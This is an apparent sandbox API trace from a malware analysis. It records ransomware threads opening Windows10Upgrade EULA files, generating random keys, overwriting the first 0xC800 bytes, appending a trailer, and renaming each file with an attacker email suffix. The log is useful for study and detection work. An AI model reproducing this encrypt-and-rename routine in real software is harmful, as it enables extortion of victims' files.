	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0x7ed94675
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0xe59255c8
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0x25c172ae
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0x8f7312ac
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0x4cdc29aa
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0x23d80c1
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0x71f54fce
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0x84de32e7
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0xffa6d0ee
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0x656ffcff
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0x4680eacf
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0xab95bf3
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0x400fd319
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0x78b8bda1
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0xd63c275
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0x7d5e1798
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0xb170e879
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0xb2882f
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0x987cddeb
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0x36ef9f46
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0xe99fe252
	[0088.265] SetFilePointerEx (in: hFile=0x1b6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.266] ReadFile (in: hFile=0x1b6c, lpBuffer=0x5032038, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2b3bfc48, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x2b3bfc48*=0xc800, lpOverlapped=0x0) returned 1
	[0088.266] SetFilePointerEx (in: hFile=0x1b6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.266] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.266] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.266] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.266] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.267] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x503e840
	[0088.268] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0088.268] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0088.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.268] WriteFile (in: hFile=0x1b6c, lpBuffer=0x503e840*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2b3bfc48, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesWritten=0x2b3bfc48*=0xc800, lpOverlapped=0x0) returned 1
	[0088.269] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0088.269] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0088.269] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x47bba50
	[0088.269] SetFilePointerEx (in: hFile=0x1b6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.269] WriteFile (in: hFile=0x1b6c, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2b3bfcc8, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2b3bfcc8*=0x10d, lpOverlapped=0x0) returned 1
	[0088.271] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.271] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bba88) returned 1
	[0088.271] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0088.271] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bba50) returned 1
	[0088.271] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0088.271] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0088.271] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0088.271] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0088.271] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.271] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm"
	[0088.271] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.271] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2b3bfc80, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.271] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.272] NtQueryInformationFile (in: FileHandle=0x1b6c, IoStatusBlock=0x2b3bfc8c, FileInformation=0x2b3bfc64, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b3bfc8c, FileInformation=0x2b3bfc64) returned 0x0
	[0088.272] NtSetInformationFile (FileHandle=0x1b6c, IoStatusBlock=0x2b3bfc8c, FileInformation=0x2b3bfc64, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.273] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.273] FlushFileBuffers (hFile=0x1b6c) returned 1
	[0093.252] CloseHandle (hObject=0x1b6c) 

Thread:
	id = 1247
	os_tid = 0x1fe8

	[0088.270] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_it-it.htm")) returned 0x20
	[0088.273] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm", dwFileAttributes=0x20) returned 1
	[0088.273] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_it-it.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b70
	[0088.273] GetFileSizeEx (in: hFile=0x1b70, lpFileSize=0x2b43f8ac | out: lpFileSize=0x2b43f8ac*=69485) returned 1
	[0088.274] SetFilePointerEx (in: hFile=0x1b70, liDistanceToMove=0x10f69, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.274] ReadFile (in: hFile=0x1b70, lpBuffer=0x2b43f830, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b43f82c, lpOverlapped=0x0 | out: lpBuffer=0x2b43f830*, lpNumberOfBytesRead=0x2b43f82c*=0x4, lpOverlapped=0x0) returned 1
	[0088.275] SetFilePointerEx (in: hFile=0x1b70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.275] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.275] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0088.275] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0088.275] NtQuerySystemTime (in: CurrentTime=0x2b43f80c | out: CurrentTime=0x2b43f80c*=132251868150069875) returned 0x0
	[0088.275] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0xdcf01872
	[0088.275] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0xc149af03
	[0088.275] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0xc3b5678a
	[0088.275] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0xa476e251
	[0088.275] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0xcdfd46e5
	[0088.275] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0xd885a923
	[0088.275] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0xf0e9d736
	[0088.275] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0xf57b6fef
	[0088.275] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0x9469395f
	[0088.275] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0x7859e216
	[0088.275] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0xbf030bf8
	[0088.275] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0xa99177c
	[0088.275] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0x4b7f781d
	[0088.275] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0x5ed7155f
	[0088.275] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0xbe14868d
	[0088.275] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0xb97d166d
	[0088.275] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0xab6357c0
	[0088.275] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0xc147878a
	[0088.275] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0xf5c04037
	[0088.275] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0x2623cc46
	[0088.276] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0xb0941513
	[0088.276] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0x391dad0b
	[0088.276] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0x96200171
	[0088.276] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0xdb1ea325
	[0088.276] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0x91dfe79e
	[0088.276] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0xb4aa2176
	[0088.276] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0x80950287
	[0088.276] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0xb4c4a2e4
	[0088.276] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0x84b7ebc1
	[0088.276] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0x6effa825
	[0088.276] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0xd4bc8004
	[0088.276] RtlRandom (in: Seed=0x2b43f818 | out: Seed=0x2b43f818) returned 0xe4065b8c
	[0088.284] SetFilePointerEx (in: hFile=0x1b70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.284] ReadFile (in: hFile=0x1b70, lpBuffer=0x5032038, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2b43f7ec, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x2b43f7ec*=0xc800, lpOverlapped=0x0) returned 1
	[0088.285] SetFilePointerEx (in: hFile=0x1b70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.285] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.285] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.285] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.285] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.286] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x503e840
	[0088.287] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0088.287] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0088.287] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.287] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.287] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.287] WriteFile (in: hFile=0x1b70, lpBuffer=0x503e840*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2b43f7ec, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesWritten=0x2b43f7ec*=0xc800, lpOverlapped=0x0) returned 1
	[0088.288] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0088.288] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0088.288] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x47bba88
	[0088.288] SetFilePointerEx (in: hFile=0x1b70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.288] WriteFile (in: hFile=0x1b70, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2b43f86c, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2b43f86c*=0x10d, lpOverlapped=0x0) returned 1
	[0088.290] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.290] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bbeb0) returned 1
	[0088.290] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0088.290] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bba88) returned 1
	[0088.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0088.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0088.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0088.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0088.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.291] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm"
	[0088.291] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.291] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2b43f824, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.292] NtQueryInformationFile (in: FileHandle=0x1b70, IoStatusBlock=0x2b43f830, FileInformation=0x2b43f808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b43f830, FileInformation=0x2b43f808) returned 0x0
	[0088.292] NtSetInformationFile (FileHandle=0x1b70, IoStatusBlock=0x2b43f830, FileInformation=0x2b43f808, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.292] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.292] FlushFileBuffers (hFile=0x1b70) returned 1
	[0093.252] CloseHandle (hObject=0x1b70) 

Thread:
	id = 1248
	os_tid = 0x1fec

	[0088.284] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ja-jp.htm")) returned 0x20
	[0088.288] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm", dwFileAttributes=0x20) returned 1
	[0088.293] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ja-jp.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b74
	[0088.293] GetFileSizeEx (in: hFile=0x1b74, lpFileSize=0x2b4bfe88 | out: lpFileSize=0x2b4bfe88*=210254) returned 1
	[0088.293] SetFilePointerEx (in: hFile=0x1b74, liDistanceToMove=0x3354a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.293] ReadFile (in: hFile=0x1b74, lpBuffer=0x2b4bfe0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b4bfe08, lpOverlapped=0x0 | out: lpBuffer=0x2b4bfe0c*, lpNumberOfBytesRead=0x2b4bfe08*=0x4, lpOverlapped=0x0) returned 1
	[0088.295] SetFilePointerEx (in: hFile=0x1b74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.295] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.295] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0088.295] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0088.295] NtQuerySystemTime (in: CurrentTime=0x2b4bfde8 | out: CurrentTime=0x2b4bfde8*=132251868150381724) returned 0x0
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0xe0765a66
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0x6fa7753
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0xa503484f
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0x58b3cf4
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0x1b627dd4
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0xf82ca002
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0xf0295600
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0x86782b
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0x7d3c579d
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0x97ce6737
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0xef014c91
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0x7f268790
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0x59d31137
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0xa3d4dc2a
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0x1f698790
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0x9357959b
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0x335f25ad
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0x1bbac1e7
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0x49192236
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0x6958e205
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0x4b05d00f
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0xaac1db52
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0xcb969c5d
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0x12a575ab
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0x190bf752
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0x658f37c9
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0x9f0bc166
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0x237c644d
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0xa799ed5a
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0x772292c8
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0xbc49fa1f
	[0088.295] RtlRandom (in: Seed=0x2b4bfdf4 | out: Seed=0x2b4bfdf4) returned 0x7f6cd791
	[0088.304] SetFilePointerEx (in: hFile=0x1b74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.304] ReadFile (in: hFile=0x1b74, lpBuffer=0x5032038, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2b4bfdc8, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x2b4bfdc8*=0xc800, lpOverlapped=0x0) returned 1
	[0088.304] SetFilePointerEx (in: hFile=0x1b74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.305] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.305] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.305] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.305] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.305] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x503e840
	[0088.306] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0088.306] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0088.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.306] WriteFile (in: hFile=0x1b74, lpBuffer=0x503e840*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2b4bfdc8, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesWritten=0x2b4bfdc8*=0xc800, lpOverlapped=0x0) returned 1
	[0088.307] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0088.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0088.308] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x47bbf58
	[0088.308] SetFilePointerEx (in: hFile=0x1b74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.308] WriteFile (in: hFile=0x1b74, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2b4bfe48, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2b4bfe48*=0x10d, lpOverlapped=0x0) returned 1
	[0088.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bbeb0) returned 1
